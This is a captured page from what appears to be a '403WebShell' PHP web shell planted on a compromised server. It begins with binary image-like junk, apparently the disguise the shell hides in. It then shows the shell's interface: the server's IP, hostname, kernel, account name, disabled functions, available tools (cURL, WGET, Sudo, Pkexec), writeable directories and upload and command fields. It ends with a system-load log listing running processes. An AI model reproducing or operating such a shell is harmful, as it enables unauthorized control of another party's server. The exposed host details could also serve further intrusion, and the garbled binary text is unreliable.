JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/loadwatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/log/loadwatch/2025-11-13.11.27.txt
 ## swap threshold exceeded
## server overview
2025-11-13.11.27 load[0] mem[67/57] mysql[3/25] httpd[11]
              total        used        free      shared  buff/cache   available
Mem:           2363        1517          87          17         758         664
Swap:          1999        1234         765
 11:27:02 up  1:50,  0 users,  load average: 0.44, 0.51, 0.64
## system overview
top - 11:27:02 up  1:50,  0 users,  load average: 0.49, 0.52, 0.64
Tasks: 197 total,   6 running, 190 sleeping,   0 stopped,   1 zombie
%Cpu(s): 61.3 us, 19.4 sy,  0.0 ni, 19.4 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,    88604 free,  1554848 used,   776848 buff/cache
KiB Swap:  2047996 total,   783936 free,  1264060 used.   679808 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  1753 mysql     20   0 1462292 224540   4448 S  87.5  9.3   1:33.22 /usr/sbin+
 43966 nigeria   20   0  400652  15936  10220 R  18.8  0.7   0:00.05 /opt/cpan+
     1 root      20   0   44404   3484   1528 S   0.0  0.1   0:10.08 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:00.87 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.57 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 R   0.0  0.0   0:09.25 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.01 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.01 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.59 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:02.21 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:35.45 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.01 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   101 root      20   0       0      0      0 S   0.0  0.0   0:00.14 [kauditd]
   231 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   239 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   240 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   242 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   245 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   252 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   259 root       0 -20       0      0      0 S   0.0  0.0   0:02.81 [kworker/+
   264 root       0 -20       0      0      0 S   0.0  0.0   0:02.63 [kworker/+
   276 root      20   0       0      0      0 S   0.0  0.0   0:00.47 [jbd2/vda+
   277 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   358 root      20   0   40248   6904   6644 S   0.0  0.3   0:04.05 /usr/lib/+
   393 root      20   0   45352      8      4 S   0.0  0.0   0:00.34 /usr/lib/+
   411 root      16  -4   55532    420    292 S   0.0  0.0   0:00.61 /sbin/aud+
   415 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   416 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   497 polkitd   20   0  612240   1092    708 S   0.0  0.0   0:00.98 /usr/lib/+
   499 root      20   0   52852    260    168 S   0.0  0.0   0:00.00 /usr/sbin+
   501 root      20   0  224280   5836   1416 S   0.0  0.2   0:00.26 queueproc+
   506 rpc       20   0   69256     60      0 S   0.0  0.0   0:00.01 /sbin/rpc+
   507 root      20   0  152780     64     20 S   0.0  0.0   0:00.00 /usr/sbin+
   508 dbus      20   0   58704   1408    688 S   0.0  0.1   0:03.62 /usr/bin/+
   512 nscd      20   0  996544   1504    720 S   0.0  0.1   0:09.58 /usr/sbin+
   524 root      20   0    4388      4      0 S   0.0  0.0   0:00.00 /usr/sbin+
   534 root      20   0   21540    348    260 S   0.0  0.0   0:00.15 /usr/sbin+
   537 root      20   0   24828   1356    788 S   0.0  0.1   0:01.60 /usr/lib/+
   557 root      20   0  195208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   586 root      20   0   24208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   588 root      20   0  124480    432    300 S   0.0  0.0   0:00.19 /usr/sbin+
   589 mailnull  20   0   89116   3672    748 S   0.0  0.2   0:00.19 /usr/sbin+
   593 root      20   0  114704      0      0 S   0.0  0.0   0:00.02 /bin/bash
   595 root      20   0  108296      8      4 S   0.0  0.0   0:00.00 /sbin/age+
   620 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   676 root       0 -20       0      0      0 S   0.0  0.0   0:04.05 [loop0]
   687 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [jbd2/loo+
   688 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   925 systuser  20   0  114016  12696   2448 S   0.0  0.5   0:01.92 /usr/loca+
   926 root      20   0  153404    224    140 S   0.0  0.0   0:00.14 pure-ftpd+
   929 root      20   0 1828056 501684    552 S   0.0 20.7   0:44.93 /usr/loca+
   936 root      20   0  386112    288    196 S   0.0  0.0   0:00.29 php-fpm: +
   937 root      20   0  385496    392    304 S   0.0  0.0   0:00.29 php-fpm: +
   947 root      20   0  261152   6176   1732 S   0.0  0.3   0:01.25 cpsrvd (S+
   948 root      20   0  397344    760    596 S   0.0  0.0   0:00.98 php-fpm: +
   949 named     20   0  646188  31192   1688 S   0.0  1.3   0:05.28 /usr/sbin+
   950 systuser  20   0   11348     36      0 S   0.0  0.0   0:00.01 /usr/loca+
   956 root      20   0  436392    360    272 S   0.0  0.0   0:00.43 php-fpm: +
   957 memcach+  20   0  342400     16     16 R   0.0  0.0   0:00.14 /usr/bin/+
   958 telegraf  20   0 5654048  34732   5872 S   0.0  1.4   0:04.10 /usr/loca+
   961 root      20   0  111304    356    260 S   0.0  0.0   0:00.79 /usr/sbin+
   962 root      20   0  232784   6312   5764 S   0.0  0.3   0:01.97 /usr/sbin+
   970 systuser  20   0  111608     76      0 S   0.0  0.0   0:00.00 /usr/loca+
   975 cpanelc+  20   0    9956   2892   2420 R   0.0  0.1   0:06.71 /usr/loca+
   987 root      20   0  392856    432    348 S   0.0  0.0   0:00.30 php-fpm: +
   990 root      20   0  572372    860    284 S   0.0  0.0   0:00.67 /usr/bin/+
   991 systuser  20   0   10132     40      0 S   0.0  0.0   0:00.01 /usr/loca+
   995 root      20   0  445028      0      0 S   0.0  0.0   0:00.05 sw-engine+
  1001 systuser  20   0  113932     68      0 S   0.0  0.0   0:00.01 /usr/loca+
  1003 root      20   0   51508    624    436 S   0.0  0.0   0:00.12 /usr/sbin+
  1123 dovenull  20   0   46904   2368   1772 S   0.0  0.1   0:00.14 dovecot/p+
  1124 dovenull  20   0   47452   2676   1708 S   0.0  0.1   0:00.11 dovecot/i+
  1125 dovecot   20   0   10320    460    348 S   0.0  0.0   0:00.02 dovecot/a+
  1126 root      20   0   10452    544    348 S   0.0  0.0   0:00.07 dovecot/l+
  1127 dovenull  20   0   46912   2180   1624 S   0.0  0.1   0:00.09 dovecot/p+
  1128 dovenull  20   0   47332   2616   1772 S   0.0  0.1   0:00.06 dovecot/i+
  1134 root      20   0   24528   2028    424 S   0.0  0.1   0:00.07 dovecot/c+
  1143 dovecot   20   0   13568    612    396 S   0.0  0.0   0:00.02 dovecot/s+
  1185 systuser  20   0  157708   3000    964 S   0.0  0.1   0:00.07 SonarPush+
  1199 root      20   0  262224  24620   6760 S   0.0  1.0   0:00.84 cpdavd - +
  1201 root      20   0  167452   1200    652 S   0.0  0.0   0:00.14 dnsadmin +
  1202 root      20   0  209364  21024   3580 S   0.0  0.9   0:01.05 tailwatchd
  1209 wp-tool+  20   0  410452  21440   1604 S   0.0  0.9   0:05.84 /usr/bin/+
  1210 wp-tool+  20   0  387528   7868   1400 S   0.0  0.3   0:00.16 /usr/bin/+
  1221 dovecot   20   0   41188   1460   1008 S   0.0  0.1   0:00.21 dovecot/a+
  1627 root      20   0  299272    500    332 S   0.0  0.0   0:00.19 php-fpm: +
  1698 root      38  18  130416   1360    692 S   0.0  0.1   0:00.02 cpanellog+
  1959 root      20   0  267036   4892    472 S   0.0  0.2   0:02.08 /usr/sbin+
  1960 root      20   0   12828    324    212 S   0.0  0.0   0:01.27 /usr/loca+
  1961 root      20   0   12732    284    208 S   0.0  0.0   0:01.07 /usr/loca+
  1962 root      20   0   12860    336    216 S   0.0  0.0   0:01.22 /usr/loca+
  1966 root      20   0   53252      4      4 S   0.0  0.0   0:00.04 /usr/loca+
  2015 root      20   0  181660   8080   1104 S   0.0  0.3   0:05.73 lfd - sle+
  3598 root      20   0       0      0      0 S   0.0  0.0   0:00.07 [kworker/+
  3893 root      20   0       0      0      0 S   0.0  0.0   0:00.09 [kworker/+
  4057 root      20   0  248188 121048   4260 S   0.0  5.0   0:03.06 /usr/loca+
  5344 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
  8629 root      20   0  261940 128136   2436 S   0.0  5.3   0:00.56 spamd chi+
  8630 root      20   0  261552 127804   2444 S   0.0  5.3   0:00.24 spamd chi+
 19017 root      20   0 1276356  11240    596 S   0.0  0.5   0:00.07 /usr/bin/+
 19059 root      20   0 1277312  11900    596 S   0.0  0.5   0:00.07 /usr/bin/+
 20129 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 23986 nobody    20   0  277720  19536   4420 S   0.0  0.8   0:01.94 /usr/sbin+
 24141 nobody    20   0  277720  18764   4180 S   0.0  0.8   0:01.90 /usr/sbin+
 25405 nobody    20   0  277720  19228   4260 S   0.0  0.8   0:01.93 /usr/sbin+
 26963 nobody    20   0  277656  19204   4344 S   0.0  0.8   0:01.61 /usr/sbin+
 29807 nobody    20   0  277932  19464   4360 S   0.0  0.8   0:01.28 /usr/sbin+
 31648 nobody    20   0  277784  19120   4068 S   0.0  0.8   0:01.70 /usr/sbin+
 31830 nobody    20   0  277892  19140   4312 S   0.0  0.8   0:01.33 /usr/sbin+
 31951 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 32584 nobody    20   0  277932  19152   4336 S   0.0  0.8   0:01.34 /usr/sbin+
 34970 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
